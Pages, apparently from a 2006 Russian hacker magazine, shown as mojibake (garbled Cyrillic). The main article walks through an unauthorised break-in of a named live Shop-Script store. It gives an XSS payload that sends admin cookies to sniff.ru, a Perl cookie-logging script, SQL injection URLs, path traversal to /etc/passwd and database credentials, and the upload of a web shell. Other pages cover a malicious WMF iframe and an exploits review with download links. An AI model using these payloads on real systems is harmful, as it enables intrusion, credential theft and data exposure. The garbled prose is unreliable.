ñîõðàíèòü ÿäîâèòóþ êàðòèíêó íà ëþáîì ñåðâåðå â Èíòåðíåòå, ñêàæåì, íà narod.ru, à ïîòîì âî âñåâîçìîæíûå äîñòóïíûå ìåñòà âñòàâëÿòü ñëåäóþùèé html-êîä:

<iframe height=0 src=”http://vasya.narod.ru/fuck.wmf”> Âñå ïîñåòèòåëè ñòðàíèöû ñ òàêèì êîäîì áóäóò ñêà÷èâàòü çëîáíóþ êàðòèíêó è âûïîëíÿòü çàëîæåííûé òàì øåëë-êîä, êîòîðûé ìîæåò äåëàòü ÷òî óãîäíî. Åùå õîðîøàÿ ìûñëü ïîíðàâèòñÿ ïîëüçîâàòåëÿì ëîêàëüíûõ ñåòåé, ãäå åñòü êó÷à îáùèõ ðåñóðñîâ. Ñòîèò òîëüêî â ïàïêå upload ñäåëàòü äèðåêòîðèþ fresh porno, êóäà ìîæíî çàëèòü 10 ïîðíóøíûõ êàðòèíîê è îäíó — íàøó, õàêåðñêóþ, êàê âñå þçåðû, îòêðûâøèå ýòó ïàïêó äëÿ ïðîñìîòðà, âûïîëíÿò òâîé øåëë-êîä. BINARY YOUR’S z

ASPLOIT ÈÄÅÈ MET Âîîáùå, ñëîâî Framework äîëæíî áûëî çàñòàâèòü òåáÿ çàäóìàòüñÿ î êàêîé-òî âèðòóàëüíîé ìàøèíå, ïðîìåæóòî÷íîì áàéò-êîäå è òàê äàëåå. Íî çäåñü âñå ïðîùå. Îñíîâíàÿ èäåÿ çàêëþ÷àåòñÿ â òîì, ÷òî äëÿ èñïîëüçîâàíèÿ è òåñòèðîâàíèÿ ðàçëè÷íûõ áàãîâ ðàöèîíàëüíî ñîçäàòü óäîáíîå ÿäðî, ê êîòîðîìó ìîæíî ïîäêëþ÷àòü ñàìûå ðàçíîîáðàçíûå ýêñïëîéòû. Ïîñêîëüêó øåëë-êîä, âûïîëíÿåìûé ýêñïëîéòîì, ñïîñîáåí ìåíÿòüñÿ, òî ðàçóìíî ñäåëàòü áàçó ñàìûõ ÷àñòî èñïîëüçóåìûõ øåëë-êîäîâ. À òàêæå íåîáõîäèìî, ÷òîáû óïðàâëÿþùåå ÿäðî ïîçâîëÿëî âñòàâëÿòü â ñïëîèòû ðàçíîîáðàçíûå øåëë-êîäû. Äðóãèìè ñëîâàìè, Metasploit Framework — ýòî ïåðëîâàÿ ïðîãðàììà, ïîçâîëÿþùàÿ ïîäêëþ÷àòü ê ñåáå íàïèñàííûå â ñïåöèàëüíîì ôîðìàòå ñïëîèòû è âñòàâëÿòü â íèõ ëþáûå èç äîñòóïíûõ øåëë-êîäîâ. Âñåãî â áàçå ñî ñïëîèòàìè áîëüøå ñîòíè ÿäîâèòûõ ïðîãðàìì, à êîëè÷åñòâî ðàçíîîáðàçíûõ øåëë-êîäîâ ïðîñòî ïîðàæàåò!

075


ÂÇËÎÌ

Íå ñòîèò çàáûâàòü, ÷òî âñå äåéñòâèÿ âçëîìùèêîâ ïðîòèâîçàêîííû, ïîýòîìó äàííàÿ ñòàòüÿ ïðåäíàçíà÷åíà ëèøü äëÿ îçíàêîìëåíèÿ. Çà ïðèìåíåíèå ìàòåðèàëà â íåçàêîííûõ öåëÿõ àâòîð è ðåäàêöèÿ îòâåòñòâåííîñòè íå íåñóò.

ÂÇËÀÌÛÂÀÅÌ ÏÎÏÓËßÐÍÛÉ ÄÂÈÆÎÊ ÄËß Å-ØÎÏÈÍÃÀ ÒÎ, ×ÒÎ Â ÝËÅÊÒÐÎÍÍÛÕ ÌÀÃÀÇÈÍÀÕ ÌÀËÎ ÄÛÐ, — ÝÒÎ ÍÅ ÏÓÑÒÛÅ ÑËÎÂÀ. ÇÀÁÈ “  ÁÀÃÒÐÀÊÅ ÑËÎÂÎ SHOP, ß ÓÂÈÄÅË ËÈØÜ ÍÅÑÊÎËÜÊÎ ÑÑÛËÎÊ 2000 ÃÎÄÀ, ÏÀÐÓ ÏÀÑÑÈÂÍÛÕ XSS’ÎÊ È ÓÏÎÌÈÍÀÍÈÅ ÎÁ SQL-ÈÍÚÅÊÖÈÈ ÇÀ 2001 ÃÎÄ. ÌÅÍß ÝÒÎ ÑÈËÜÍÎ ÓÄÈÂÈËÎ È ß ÐÅØÈË ÈÑÏÐÀÂÈÒÜ ÑÈÒÓÀÖÈÞ. ÌÍÅ ÄÀÆÅ ÑÒÀËÎ ÈÍÒÅÐÅÑÍÎ ÏÎÈÑÊÀÒÜ

ÄÛÐÓ Â ÊÀÊÎÌ-ÍÈÁÓÄÜ ÁÅÑÏËÀÒÍÎÌ ÌÀÃÀÇÈÍÍÎÌ ÄÂÈÆÊÅ

ÏÀÑÕÀËÜÍÎÅ ßÉÖÎ ÎÒ RST Íå òàê óæ è ìíîãî ëþäåé çíàþò î òîì, ÷òî â ìåãàïîïóëÿðíîì web-øåëëå îò ðîññèéñêîé êîìàíäû RST åñòü «ïàñõàëüíîå ÿéöî» — ñ÷åò÷èê ïîñåùåíèé, êîòîðûé ñâåòèò àäðåñ óñòàíîâëåííîãî øåëëà â ñòàòèñòèêå (ïîëå Referrer). Ñêà÷àòü ñêðèïò ñ âûðåçàííûì ñ÷åò÷èêîì ìîæíî ïî ýòîìó àäðåñó: www.securityinfo.ru/www/upload/tools/r57shell.txt

076

XÀÊÅÐ 02 /86/ 06


TEXT K00P3R / SECINFO@MAIL.RU /

ÂÑÅ ÏÎ ÏÎÐßÄÊÓ Âñå íà÷àëîñü ñ òîãî, ÷òî ÿ çàøåë ïî ôòï íà ñåðâåð, ãäå õîñòèòñÿ ìîé ñàéò. Ñðåäè íåñêîëüêèõ äèðåêòîðèé ìåíÿ ïðèâëåêëà ïàïêà Shop, êîòîðóþ ÿ äî ýòîãî íè ðàçó íå âèäåë.  íåé íàõîäèëîñü ìíîæåñòâî ðàçíîîáðàçíûõ ñêðèïòîâ. Îáðàòèâøèñü ê ýòîé ïàïêå áðàóçåðîì, ÿ îêîí÷àòåëüíî óáåäèëñÿ, ÷òî ýòî èíòåðíåò-ìàãàçèí. Îêàçàëîñü, ìîé äðóã, âòîðîé àäìèíèñòðàòîð íàøåãî ñàéòà, ðåøèë ïîòåñòèòü ýòîò äâèæîê. «Êîììåðñàíò õðåíîâ», — ïîäóìàë ÿ. Íó õîðîøî, ðàäè èíòåðåñà è ÿ åãî ïîñìîòðþ :). ÏÐÈÑÒÓÏÈÌ Ñêà÷àâ è óñòàíîâèâ å-øîï ê ñåáå íà âèí÷åñòåð, ÿ ïðèñòóïèë ê èññëåäîâàíèÿì. Ýòîò äâèæîê íàçûâàëñÿ áåç îñîáåííûõ èçûñêîâ — Shop-Script. Âåðñèÿ 2.0. Êàê è ïîëàãàåòñÿ ñîâðåìåííûì äâèæêàì, äëÿ õðàíåíèÿ èíôîðìàöèè èñïîëüçîâàëñÿ ñåðâåð áàç äàííûõ. Ïîñëå ïåðâîãî æå îñìîòðà «ïàöèåíòà» áûëî îáíàðóæåíî íåñêîëüêî áàãîâ. Çíà÷åíèÿ ïåðåìåííûõ íå ôèëüòðîâàëîñü íà ñïåöñèìâîëû ïî÷òè íèãäå, è ÷åðåç ïÿòü ìèíóò èçó÷åíèÿ ñîðöîâ ìíå äàæå ïîêàçàëîñü, ÷òî ñîçäàòåëè ýòîãî äâèæêà íå çíàëè âîîáùå íè÷åãî î áåçîïàñíîñòè web-ïðèëîæåíèé :). Ìíå ïîêàçàëîñü äîâîëüíî çàáàâíûì, ÷òî ïðè ñîçäàíèè äâèæêà ýëåêòðîííîé òîðãîâëè ïðîãðàììèñòû äàæå íå çàäóìàëèñü î áåçîïàñíîñòè ñâîåãî ïðèëîæåíèÿ. Õîòÿ, ìîæåò, îíè ýòî ñäåëàëè ñïåöèàëüíî? Êàê áû òî íè áûëî, íàì ýòî òîëüêî íà ðóêó. Áóäåì èçó÷àòü áàãè. ÏÅÐÂÛÉ ÁÀà — XSS Åñëè ïðè îôîðìëåíèè çàêàçà âñòàâèòü â ëþáîå èç ïîëåé ëè÷íîé èíôîðìàöèè (òåëåôîí, àäðåñ è ò.ä.) ñòðîêó

<script>alert()</script>, òî ïðè îòîáðàæåíèè ýòîé èíôîðìàöèè âûëåòèò àëåðò. Èíòåðåñíî, áóäåò ëè âûïîëíÿòüñÿ íàø êîä â àäìèí-ïàíåëè? Ïðè ïðîñìîòðå ïîëüçîâàòåëüñêîé èíôîðìàöèè íèêàêèõ îêîøåê íå ïîÿâèëîñü — êîä íå âûïîëíÿëñÿ. Îäíàêî ñòîèò òîëüêî òàêîìó ÿäîâèòîìó ïîëüçîâàòåëþ ïðîèçâåñòè çàêàç íà òîâàð, êàê ïðè ïðîñìîòðå àäìèíèñòðàòîðîì íîâûõ çàêàçîâ çëîâðåäíûé êîä èñïîëíèòñÿ è â íàøåì ñëó÷àå ïîÿâèòñÿ ïðåäóïðåæäàþùåå îêîøêî. Íàïèñàòü ñêðèïò äëÿ îòñûëêè àäìèíñêèõ êóêèñîâ — ëèøü äåëî òåõíèêè è äàâíî óæå ïðîéäåííûé òîáîé ýòàï, âåðíî? Ïðèìåðíûé xss-êîä òàêîé:

<script>document.write(‘<img width=1 height=1 src=»http://sniff.ru/kartinka.jpg?’+document.cookie+’»>’);</script> Íà ñâîé æå ñåðâåð äëÿ ïðîâåäåíèÿ àòàêè íóæíî çàëèòü ïðèìåðíî ñëåäóþùèé ïåðëîâûé ñêðèïò:

êîä ïðîäâèíóòîãî ñíèôåðà íà Perl #!/usr/bin/perl $LogFile=»log.txt»;#ïóòü ê ëîã-ôàéëó $mlength=50;#ìàêñèìàëüíîå ÷èñëî çàïèñåé print «Location: image.gif\n\n»;#äåëàåì ðåäèðåêò íà êàðòèíêó read(STDIN, $input, $ENV{‘CONTENT_LENGTH’});#÷èòàåì äàííûå çàïðîñà $input = $ENV{‘QUERY_STRING’} if $ENV{‘QUERY_STRING’}; $input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack(«C», hex($1))/eg; $now_string = localtime;#ïîëó÷àåì âðåìÿ çàïðîñà è HTTP_REFERER $ref = $ENV{‘HTTP_REFERER’};

#÷èòàåì ëîã-ôàéë â ìàññèâ open (LOG,»$LogFile») || die «Can’t Open $LogFile: $!\n»; @LOGtext=<LOG>; close (LOG); open (LOG, «>$LogFile»);#îòêðûâàåì íà çàïèñü ëîã #ñîõðàíÿåì äàííûå çàïðîñà print LOG «[$now_string] IP=$ENV{‘REMOTE_ADDR’} REFERER=$ref QUERY=$input\n»; #ñîõðàíÿåì îñòàëüíûå ëîãè òàê, ÷òîáû äëèíà ëîã-ôàéëà íå ïðåâûøàëà mlength $counter=1; foreach $LOGitem (@LOGtext) { if ($counter<$mlength){ print LOG «$LOGitem»; }; $counter++; }; close (LOG);#çàêðûâàåì ëîã exit; Ïðèâåäåííûé ñêðèïò ïîçâîëÿåò îòñëåæèâàòü IP-àäðåñ, ïîëå Referer è ïðèíèìàòü ïðîèçâîëüíûå äàííûå, ïåðåäàííûå ñêðèïòó. Ñöåíàðèé âîçâðàùàåò ïîëüçîâàòåëþ êàðòèíêó, êðàäåò åãî êóêèñû è íå âûçûâàåò ïîäîçðåíèé. ÂÒÎÐÎÉ ÁÀà Çàäåéñòâîâàâ ïîèñêîâèê (äàæå íå áóäó ãîâîðèòü êàêîé), áûë âûáðàí ñàéò, ðàáîòàþùèé íà Shop-Script. Åñòåñòâåííî, ïåðåä ýòèì ÿ íå çàáûë ïðî ñâîþ àíîíèìíîñòü. Íà ñàéòå òîðãîâàëè êàêîé-òî ìåáåëüþ. Õîòÿ ìíå áûëî áåç ðàçíèöû :). Çàäà÷à áûëà îäíà — ïîëó÷èòü äîñòóï ê àäìèíêå ëèáî ê áàçå äàííûõ. Íå îáëàäàÿ äîñòàòî÷íûìè çíàíèÿìè ïî sql-injection, ÿ âñå-òàêè ïûòàëñÿ âûòÿíóòü èíôîðìàöèþ èç ÁÄ. Áûëî íåñêîëüêî âàðèàíòîâ âðîäå:

http://mebelart.com/index.php?categoryID=666+union+select+nu ll,null,null,null,null,null,null,null,null,null,null,null,null,null,null/*, íî êîëè÷åñòâî ñòîëáöîâ íå ñîâïàäàëî (ñëåäîâàëî âîñïîëüçîâàòüñÿ ñêðèïòîì äëÿ ïîäáîðêè ÷èñëà âûáèðàåìûõ ïîëåé èëè ïîäîáðàòü åãî ðóêàìè. — Ïðèì. ðåä.).  îáùåì, íóæíîãî ýôôåêòà ìíå äîñòèãíóòü íå óäàëîñü. Òîãäà áûëî ðåøåíî ïîäêëþ÷èòü ê ýòîìó äåëó ñâîåãî çíàêîìîãî, êîòîðûé íåïëîõî ðàçáèðàåòñÿ â sql-injection. Îí áûë ñëèøêîì ðàçãîâîð÷èâ è ïîäêèíóë íåñêîëüêî èäåé:

http://mebelart.com/index.php?categoryID=1%20union%20select%20load_file(‘/etc/passwd’)%20from%20a dmin/* http://mebelart.com/index.php?categoryID=1%20union%20select%20password%20from%20admin/* Îäíàêî ðåàëèçîâàòü ïðåäëîæåííîå èì ó ìåíÿ îïÿòü íå ïîëó÷èëîñü, è ÿ ðåøèë ïðîäîëæèòü àòàêó íà ñëåäóþùèé äåíü. ÍÎÂÛÅ ÐÅØÅÍÈß ×åñòíî ãîâîðÿ, ìíå ñîâñåì íå õîòåëîñü âûëàâëèâàòü àäìèíñêèå «ïå÷åíüêè» ñ ïîìîùüþ CSS. Âûòàùèòü æå äàííûå èç áàçû íèêàê íå ïîëó÷àëîñü. Êàçàëîñü áû, ÷òî âûõîäà íåò è ïðèäåòñÿ äîâîëüñòâîâàòüñÿ

 Ñåòè óæå äîâîëüíî äàâíî ìîæíî ñêà÷àòü èñõîäíûé êîä èçâåñòíîãî ìàãàçèíà eBay. Åñëè òû õî÷åøü ïî÷óâñòâîâàòü ñåáÿ â ðîëè ñåðüåçíîãî áàãîèñêàòåëÿ, òî ïîèñêîâèê òåáå ïîìîæåò íàéòè ýòè èíòåðåñíûå ñîðöû :).

XÀÊÅÐ 02 /86/ 06

077


ÂÇËÎÌ ///// ISSUE

àäìèíêà êîíôèã îò áàçû äàííûõ

óäîáíûé âåá-øåëë

çàëüåì íàø øåëë

ïðèêîííåêòèëèñü ê áä ëîãèíû þçåðîâ

òàáëèöà ñ ëîãèíîì è ïàðîëåì àäìèíà

çàõîäèì â àäìèíêó ñ ãëàâíîé ñòðàíèöû

ëèøü ôàêòîì ïðèñóòñòâèÿ óÿçâèìîñòåé. Íî òóò ÿ ïîäóìàë, ÷òî ðàç â ñèñòåìå ïðèñóòñòâóþò 2 êëàññè÷åñêèõ áàãà, òî ïî÷åìó áû íå ïîïðîáîâàòü ðåàëèçîâàòü è òðåòèé? :) È òî÷íî, èíòóèöèÿ ìåíÿ íå ïîäâåëà. Ó ñêðèïòà index.php åñòü ïàðàìåòð aux_page, èìåííî îí óìåë ÷èòàòü ôàéëû íà ñåðâåðå. Íåäîëãî äóìàÿ, ÿ ðåøèë ïðîñìîòðåòü ëîãèíû þçâåðåé. Ïîäñòàâèâ aux_page=../../../../../../../etc/passwd, ÿ óâèäåë âñå ëîãèíû. Ïîñìîòðåâ èñõîäíèêè äâèæêà, áûë íàéäåí èíòåðåñíûé ôàéë connect.inc.php, êîòîðûé íàõîäèëñÿ â äèðåêòîðèè cfg.  íåì áûëà ïîëíàÿ èíôîðìàöèÿ äëÿ ïîäêëþ÷åíèÿ ê ÁÄ. Òî åñòü õîñò, ëîãèí, ïàðîëü è ëîãèí àäìèíèñòðàòîðà ìàãàçèíà. Òåïåðü, ïîäñòàâèâ â ïàðàìåòð aux_page è çíà÷åíèå ../cfg/connect.inc.php, ñêðèïò âûäàë ïóñòóþ ñòðàíèöó, ïîñìîòðåâ èñõîäíèê êîòîðîé, áûë äîñòèãíóò æåëàåìûé ðåçóëüòàò: òàì ÿ îáíàðóæèë èäåíòèôèêàòîðû äëÿ ïîäêëþ÷åíèÿ ê ÁÄ. Äàëåå ÿ çàëèë ñêðèïò sql.php (òàêæå äëÿ ýòèõ öåëåé ïîäîéäåò ïðîãðàììà SQLyog) îò êîìàíäû RST, íà ðàíåå ïîëîìàííûé ñåðâåð, è ïîäêëþ÷èëñÿ ê áàçå äàííûõ. ÁÄ òåïåðü ïîä êîíòðîëåì. Äàëüøå — áîëüøå. Áûñòðî ïðîáåæàâøèñü ïî òàáëèöàì, ÿ íàøåë ðåøåíèå åùå îäíîé çàäà÷è. Îêàçàëîñü, ÷òî ïàðîëü è ëîãèí îò àäìèíêè ñêðèïò õðàíèò â òàáëèöå ss_customers, ïðè÷åì áåç âñÿêîãî øèôðîâàíèÿ, â îòêðûòîì âèäå. Òåïåðü, ââåäÿ ýòè äàííûå â ïîëÿ íà ãëàâíîé ñòðàíèöå ñàéòà, ÿ ïîïàë â çîíó àäìèíèñòðàòîðà. Âîò è âñå. Çàäà÷à âûïîëíåíà. ÝÒÎ ÅÙÅ ÍÅ ÊÎÍÅÖ Ïåðåäî ìíîé êðàñîâàëàñü àäìèíêà. Áûëî 2 íîâûõ çàêàçà. ß ïîäóìàë, ÷òî ìîæíî ïîìåíÿòü öåíó êàêîãî-íèáóäü äèâàíà íà ïàðó ñîòåí USD è çàêàçàòü ñ äîñòàâêîé íà äîì. Íî, òàê êàê ìåáåëè ó ìåíÿ è òàê õâàòàëî, äà è ïîïîëíÿòü ÷èñëî çåêîâ òîæå íå õîòåëîñü, ÿ íå ñòàë âîïëîùàòü ýòîò áðåä âîñïàëåííîãî ìîçãà â ðåàëüíîñòü :). Ïîòîì ÿ ïîäóìàë î äàííûõ ïî êðåäèòêàì íàèâíûõ êëèåíòîâ, íî ïîäîáíîé èíôîðìàöèè îáíàðóæåíî íå áûëî. Áûëè ëèøü àäðåñà, ôàìèëèè, òåëåôîíû è ò.ä. ß èìåþ ïîëíûé äîñòóï ê áàçå äàííûõ, ê àäìèíêå, ÷òî åùå íóæíî äëÿ ïîëíîãî ñ÷àñòüÿ? Ïðàâèëüíî, íå õâàòàåò øåëëà :). Àäìèíêà îêàçàëàñü âïîëíå ôóíêöèîíàëüíîé, íî ïóíêòà «Çàëèòü øåëë» ïî÷åìó-òî íå îêàçàëîñü :). Ñíà÷àëà ÿ ïîäóìàë, ÷òî ïîëó÷èòü âåá-øåëë íà ýòîé ìàøèíå áóäåò ïðîùå ïðîñòîãî, íî íå òóò-òî áûëî. ß íà÷àë âñòàâëÿòü áàíàëüíóþ ñòðî÷êó «<?php system(«id»); ?>» âåçäå ãäå ìîæíî: ñíà÷àëà â áëîê íîâîñòåé, ïîòîì â ñòðàíèöû «Î ìàãàçèíå» è «Äîñòàâêà è îïëàòà», íî íèãäå íå áûëî âûâîäà çàâåòíûõ ïðàâ.

078

Íå ïûòàéñÿ ïåðåéòè ïî àäðåñó âèäà www.target.com/admin.php, òàê êàê òåáÿ òóäà íèêòî íå ïóñòèò :). Äàííûå äëÿ âõîäà â çîíó àäìèíèñòðèðîâàíèÿ ââîäÿòñÿ íà ãëàâíîé ñòðàíèöå.

ÇÀËÈÂÀÅÌ ØÅËË Òîãäà ÿ ïî èíåðöèè òêíóë â ïóíêò «Êàòåãîðèè è òîâàðû». Òàì ìíå ïðåäëàãàëîñü ñîçäàòü íîâóþ êàòåãîðèþ. Çäåñü ìåíÿ çàèíòåðåñîâàë ïóíêò «Ëîãîòèï», êîòîðûé ïðåäëàãàëîñü çàãðóçèòü ñ êîìïüþòåðà. Äóìàþ, ïðåäñêàçàòü ñëåäóþùèå ìîè äåéñòâèÿ ïðîùå ïðîñòîãî. ß íàãëî çàãðóçèë ôàéë sh.php, êîòîðûé áûë íåìíîãî ìîäèôèöèðîâàííûì øåëëîì îò RST. Íèêàêîé ïðîâåðêè ðàñøèðåíèÿ è ñîäåðæèìîãî ôàéëà íå áûëî è â ïîìèíå. Âûáðàâ íà ñàéòå òîëüêî ÷òî ñîçäàííóþ êàòåãîðèþ è ïîäâåäÿ êóðñîð ê ðèñóíêó êàòåãîðèè, ÿ âûáðàë â êîíòåêñòíîì ìåíþ ïóíêò Open image è óâèäåë ïîëíîöåííûé âåá-øåëë :). Ñåðâåð êðóòèëñÿ ïîä ôðÿõîé. ×òîáû íå ïàëèòüñÿ, áûë çàëèò îòäåëüíûé øåëë è óäàëåíà ðàíåå ñîçäàííàÿ êàòåãîðèÿ. Äóìàþ, î òîì, ÷òî ìîæíî ñäåëàòü ñ ñèñòåìîé è êàê åå èñïîëüçîâàòü â ñâîèõ öåëÿõ, íå ñòîèò ðàññêàçûâàòü. Îá ýòîì ñëèøêîì ìíîãî íàïèñàíî. THE END ×óòü ïîçæå ÿ ðàññêàçàë âòîðîìó àäìèíó íàøåãî ñàéòà î òîì, íàñêîëüêî äûðÿâ «Øîï-Ñêðèïò», è òîò, ñ ãëóáîêîé äîñàäîé, óäàëèë ýòîò äóðøëàã. Âîò âèäèøü, êàê íåñåðüåçíî ëþäè ïîäõîäÿò ê âîïðîñó îðãàíèçàöèè ýëåêòðîííîé êîììåðöèè. Ñåðüåçíàÿ ôèðìà ìîæåò çàâåñòè ñàéò íà äâèæêå Shop-Script, êàêîé-íèáóäü õàêåð èõ âçëîìàåò, èíôîðìàöèÿ î êëèåíòàõ ìîæåò ñòàòü ðàçãëàøåííîé, à â èòîãå ôèðìà ïîòåðÿåò íå òîëüêî àâòîðèòåò, íî è íåìàëûå äåíüãè. Äâèæîê Shop-Script âåñüìà ïîïóëÿðåí â Èíòåðíåòå, è, ïðîâåäÿ íåáîëüøîé àóäèò ñàéòîâ, ðàáîòàþùèõ íà ýòîì äâèæêå, ÿ ñäåëàë âûâîä, ÷òî 80% èç íèõ óÿçâèìû. ß ñ÷èòàþ, ÷òî âåá-øîïû äîëæíû ïèñàòüñÿ ñòðîãî íà çàêàç. Ñàéò âñå ðàâíî ìîãóò âçëîìàòü, íî âñå-òàêè áåçîïàñíîñòü ñòàíîâèòñÿ íåìíîãî âûøå. Ïîëüçîâàòüñÿ CMS, êîä êîòîðîé îòêðûò âñåìó Èíòåðíåòó, ìîæíî ëèøü íåáîëüøèì ìàãàçèíàì, ïîêóïêè â êîòîðûõ ïðîèñõîäÿò ðàç â ìåñÿö :).  ñëó÷àå âçëîìà óðîí áóäåò íåáîëüøîé. Ïîñìîòðåâ åùå íåñêîëüêî õîñòîâ, êîòîðûå Ãóãë âûäàë ìíå íà çàïðîñ «inurl:index.php?aux_page=», ÿ óäèâèëñÿ, óâèäåâ íà äâóõ ñàéòàõ äàííûå îò ÁÄ, êîòîðûå áûëè íà ñåðâåðå, îïèñàííîì âûøå. ×åëîâåê äåðæàë 3 ìàãàçèíà íà îäèíàêîâîì äâèæêå è îáà îíè, åñòåñòâåííî, áûëè óÿçâèìû :). BINARY YOUR’S z

XÀÊÅÐ 02 /86/ 06


Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

EXPLOITS R EVIEW NTPD REMOTE ROOT EXPLOIT

PHP <= 4.4.0 MYSQL_CONNECT() BOF EXPLOIT

MS WINDOWS APC LOCAL EXPLOIT (MS05-055)

îïèñàíèå: ïîêà çäðàâîìûñëÿùèå ëþäè ñïðàâëÿëè Íîâûé Ãîä è âñå ïðî÷èå ïðàçäíèêè, õàêåðàì è áàãîèñêàòåëÿì áûëî íå äî çåìíûõ óòåõ: îíè ïðîäîëæàëè èñêàòü óÿçâèìîñòè è ïèñàòü ýêñïëîéòû. Òàêèì îáðàçîì, óæå â 2006 ãîäó ìèð óçíàë î íîâûõ äûðàõ â èçâåñòíûõ ïðîäóêòàõ. Íàïðèìåð, î áðåøè â þíèêñîâîì äåìîíå ntpd, îòâå÷àþùèé çà ñèíõðîíèçàöèþ âðåìåíè â ãëîáàëüíîé ñåòè. Êàê òû çíàåøü, êëèåíò, îáðàùàÿñü ê ýòîìó ñåðâåðó, òðåáóåò îòâåòà, ñîäåðæàùåãî òî÷íîå âðåìÿ. Ïîñëå ýòîãî äåìîí îòïðàâëÿåò êëèåíòó ïîñëåäîâàòåëüíîñòü íåçàìûñëîâàòûõ öèôð. Îäèí óìíûé ÷åëîâåê ðåøèë ïîñëàòü ntpd êðèâîé çàïðîñ, ñ èçáûòî÷íûì êîëè÷åñòâîì ñèìâîëîâ — â èòîãå ntpd ïðîñòî îòáðîñèë êîíüêè :). Ïîñëå íåïðîäîëæèòåëüíîãî øàìàíñòâà õàêåð íàïèñàë ìîùíûé ýêñïëîéò, ñïîñîáíûé ñîçäàòü ñóèäíûé øåëë /tmp/sh.

îïèñàíèå: â íà÷àëå ÿíâàðÿ õàêåðû ïîðàäîâàëè íàñ íîâîé ýêçîòè÷åñêîé äûðêîé â PHP. Îøèáêà íàøëàñü â ôóíêöèè mysql_connect(). Áàã ìîæåò ïðèâåñòè ê âûïîëíåíèþ ëþáûõ ñèñòåìíûõ êîìàíä. Äàííàÿ áðåøü îêàçàëàñü âåñüìà ïîëåçíîé, òàê êàê àäìèíèñòðàòîðû îáû÷íî çàêðûâàþò âñå âîçìîæíîñòè èñïîëüçîâàíèÿ system(), exec(), passthru() è ïðî÷èõ îïàñíûõ êîìàíä. Èõ àëüòåðíàòèâà êðîåòñÿ â èñïîëüçîâàíèè áàæíîãî mysql_connect() :). Áàã àêòóàëåí òîëüêî äëÿ Windows-ñèñòåì è äëÿ PHP ÷åòâåðòîé âåðñèè (â íàøå âðåìÿ èñïîëüçóåòñÿ èìåííî òàêîé ðàñêëàä). Ýêñïëóàòèðîâàíèå çàêëþ÷àåòñÿ â ñêàðìëèâàíèè ôóíêöèè ïîääåëüíîãî àðãóìåíòà óäàëåííîãî mysql-ñåðâåðà, ñîäåðæàùåãî øåëë-êîä.  ðåçóëüòàòå ýòîãî êîä óñïåøíî âûïîëíÿåòñÿ áëàãîäàðÿ áàíàëüíîìó ïåðåïîëíåíèþ áóôåðà.

îïèñàíèå: íà çàêóñêó ðàññêàæó î íîâîì ýêñïëîéòå ñóïðîòèâ Windows 2000. Ýòà, êàçàëîñü áû, ñòàðàÿ îïåðàöèîíêà äî ñèõ ïîð èñïîëüçóåòñÿ â êà÷åñòâå «ñòàáèëüíîé» ñåðâåðíîé OS (äà ÷òî ñêðûâàòü, äàæå ìíå ïðèõîäèòñÿ þçàòü åå äëÿ òåðìèíàëüíûõ ñåðâèñîâ). Íåäàâíî ñòàëî èçâåñòíî, ÷òî ïðè îáðàáîòêå ñïèñêà ýëåìåíòîâ APC (àñèíõðîííîãî âûçîâà ïðîöåäóð) âîçìîæíà îøèáêà, ïðèâîäÿùàÿ ê ïîâûøåíèþ ïðàâ (åñòåñòâåííî, äî óðîâíÿ SYSTEM-user). Äëÿ ýòîãî áàãîèñêàòåëè íàïèñàëè äâà ôàéëà: ïåðâûé ïðåäñòàâëÿåò ñîáîé ãëàâíîå ïðèëîæåíèå ýêñïëîéòà, âòîðîé — helper-ôàéë — íåïîñðåäñòâåííî âûïîëíÿåò ýêñïëóàòèðîâàíèå ñèñòåìû. Ïîñëå ïîäà÷è êîìàíäû âèäà «main.exe helper.exe» ïðîèçîéäåò ÷óäî, ïîñëå êîòîðîãî ïðàâà õàêåðà ñòàíóò âûøå.

çàùèòà: çàùèòû îò ýòîé äûðêè ïîêà íå ñóùåñòâóåò. Ïîýòîìó äî âûïóñêà íîâîé âåðñèè ntpd óáåé èíôèöèðîâàííûé äåìîí èëè èñïîëüçóé ôàéðâîë äëÿ ôèëüòðàöèè íåæåëàòåëüíûõ ïîäñåòåé. Íàäååìñÿ, ÷òî â ñêîðîì áóäóùåì âûéäóò çàïëàòêè ëèáî ñâåæèå ðåëèçû ïðîãðàììû ntpd.

çàùèòà: ñ ðàäîñòüþ ñîîáùàþ, ÷òî ðåøåíèÿ ïðîáëåìû â íàñòîÿùåå âðåìÿ íå ñóùåñòâóåò. Ýòî çíà÷èò, ÷òî ìíîæåñòâî, êàçàëîñü áû, çàùèùåííûõ Windows-õîñòîâ íàõîäÿòñÿ ïîä ïðèöåëîì.

çàùèòà: Microsoft äîñòàòî÷íî áûñòðî îòðåàãèðîâàëà íà ïðîèñõîäÿùåå è âûïóñòèëà çàïëàòêè äëÿ Win2k. Âçÿòü èõ ìîæíî ïî àäðåñó: www.microsoft.com.

ññûëêè: ñêà÷èâàåì ýêñïëîéò ïî àäðåñó: www.securitylab.ru/poc/extra/246196.php.  êîììåíòàðèÿõ òû íàéäåøü èçáûòî÷íóþ òåõíè÷åñêóþ èíôîðìàöèþ îá óÿçâèìîñòè â ntpd.

ññûëêè: òåõíè÷åñêàÿ ñòîðîíà âîïðîñà è ôðàãìåíòû ýêñïëóàòàöèîííîãî êîäà íàõîäÿòñÿ íà ñòðàíèöå www.securitylab.ru/poc/extra /243730.php. Áîëåå ïîäðîáíîå îïèñàíèå áàãà ëåæèò òóò: www.securitylab.ru/vulnerability/source/ 243713.php.

ññûëêè: çàáèðàé ýêñïëîéò ïî àäðåñó: www.securitylab.ru/poc/extra/243700.php. Íà òåõíè÷åñêóþ ÷àñòü ññûëêó íå äàì, ïîñêîëüêó äîïîëíèòåëüíàÿ èíôîðìàöèÿ ïîêà íå ðàçãëàøàåòñÿ.

çëîêëþ÷åíèå: íàäî ñêàçàòü, ÷òî íà remote exploit ýòî òâîðåíèå ïîêà íå òÿíåò. Äà, ñïëîèò óìååò ýêñïëóàòèðîâàòü äûðó. Îí òàêæå ñïîñîáåí ñîçäàâàòü /tmp/sh ñ áèòîì 4755. Îäíàêî çëîâåùèé áèíàðíèê íå ìîæåò ñäåëàòü bind() íà óÿçâèìîì õîñòå. Ïîýòîìó ñ÷èòàåì, ÷òî ntpd-exp.c — ëîêàëüíîå ñðåäñòâî ýêñïëóàòèðîâàíèÿ unix-ñèñòåì :).

